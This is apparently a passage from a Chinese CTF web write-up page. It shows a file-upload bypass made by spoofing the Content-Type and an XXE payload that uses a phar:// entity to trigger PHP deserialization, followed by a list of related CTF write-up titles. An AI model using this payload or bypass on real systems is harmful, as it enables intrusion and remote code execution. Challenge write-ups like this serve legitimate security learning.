访问upload.php,上传生成的phar.phar文件,这里似乎只要将Content-Type改为image/jpg就行了,第二个条件似乎没有生效
xxe触发反序列化:
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker SYSTEM "phar://./uploads/你上传的文件名"> ]> <name>&hacker;</name>
Syclover-Web题解相关推荐
- I春秋CTF训练营web题解(一)
I春秋CTF训练营web题解(一) (1)include ==hint:没错!就是文件包含漏洞.== 点开链接,发现 通过源码可知可以提交一个path的变量,通过ctrl+f搜索allow_url_i ...
- 【Hgame2022】第一周misc和web题解
[Hgame2022]第一周misc和web题解 MISC 这个压缩包有点麻烦 暴力破解 字典爆破 明文爆破 压缩包伪加密 好康的流量 解法一 解法二 群青(其实是幽灵东京) 查看属性得知是基础的si ...
- [津门杯]全部WEB题解
津门杯WEB题解 日常比赛被爆,感谢队里教我题的大师傅 power_cut 存在一个.index.php.swp文件,vim -r 恢复一下 <?php class logger{public ...
- Bugku—web题解
前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...
- CUMT第一轮双月赛Web题解
ez-upload 这个题目作为Web题的第一个题难度刚好,很基础的漏洞点,就考了个文件上传,上来直接用phtml就可以绕过,但是给出来的hint是.htaccess,可能是我非预期了? 菜刀链接获取 ...
- i春秋部分web题解
一 include 题目名字为文件包含漏洞,很显然考的知识点为文件包含.打开题目首先能看到PHP代码 显然就是上传path参数. 对于这题,它是没有任何限制的,因此可以使用PHP协议中的php://i ...
- 吾爱破解 2023 春节解题领红包之 Web 题解
(图作者 | 吾爱破解@Ps出来的小赵) 文章目录 题目简介 初级难度 flag1 flag2 flag3 flag4 flagA 中级难度 flag5 flag6 flag7 flag8 flagB ...
- iscc_2018 web题解
一切都是套路 开头比较客气,试了.bak .swp .svn都没有出来,结果发现是.txt,还是自己想复杂了 典型的变量覆盖漏洞,不用想了,直接先将flag的值赋给flag的值赋给flag的值赋给_2 ...
- 2019上海市大学生网络安全大赛部分web题解
前言 这周六有这个比赛,学到了一个骚姿势,在这里记录一下. easysql 题目是easysql,看到这个题目感觉问题不是这简单. 打开题目发现是一个未完成的页面,发现可能存在sql注入. 通过简单的 ...
- [长安战疫-cazy] Web题解
RCE_No_Para <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_mat ...
最新文章
- BCH预共识机制信息整理
- win10 如何配置 java jdk1.8环境变量(2017.8.17 )jdk1.8.0_144
- 【unity3d游戏开发之基础篇】利用射线实现鼠标控制角色转向和移动(角色移动一)...
- php网页布局边框,用CSS来设置网页当中的边框
- gateway路由网关,zuul的替代品
- RTX5 | 线程标志组01 - 线程同步
- python代码加密cython_python通过cython实现加密
- Linux的DNS高速缓存
- 在 for 循环里写加号拼接字符串的那个同事,不见了~
- SpringBoot+jersey实现
- 《具体数学》第一章学习总结
- 【技术分享】配置手工模式链路聚合(交换机之间直连)
- 软负载均衡和F5负载均衡(硬负载均衡)区别
- 使用C做的移动方块游戏
- 海岸TDM系统配置工具-表单站点
- matlab中画出3d船舶,船舶运动仿真中航迹与船形图的应用(上)
- 真香!有了这个搜索大法,GitHub玩到飞起来!
- 傅里叶变换(FT)和傅里叶逆变换(IFT)推导
- JS实现搜索功能页面(可搜索,无需数据库,无后端)
- Linux 安装AndroidSdk 并使用zipalign对齐工具完成apk的签名
热门文章
- Java P5713 【深基3.例5】洛谷团队系统 洛谷入门题
- 计算机上显示找不到无线网络连接,电脑上网时为什么只显示宽带连接不显示无线网络连接?...
- 东芝自助结账设备市场份额增长近50%
- 富爸爸,穷爸爸(财务自由之路)
- 计算机英语的四种变量,计算机英语:BASIC语言变量
- 计算机硬件系统组装的论文,有关计算机硬件组装论文.docx
- 如何避免B端产品失败(近万字解析)
- delphi mysql 加密_Delphi纯代码连SQLite数据库,同时支持数据库的加密解密
- spring基于注解的AOP配置 中的环绕通知 步骤写法
- fastadmin表格操作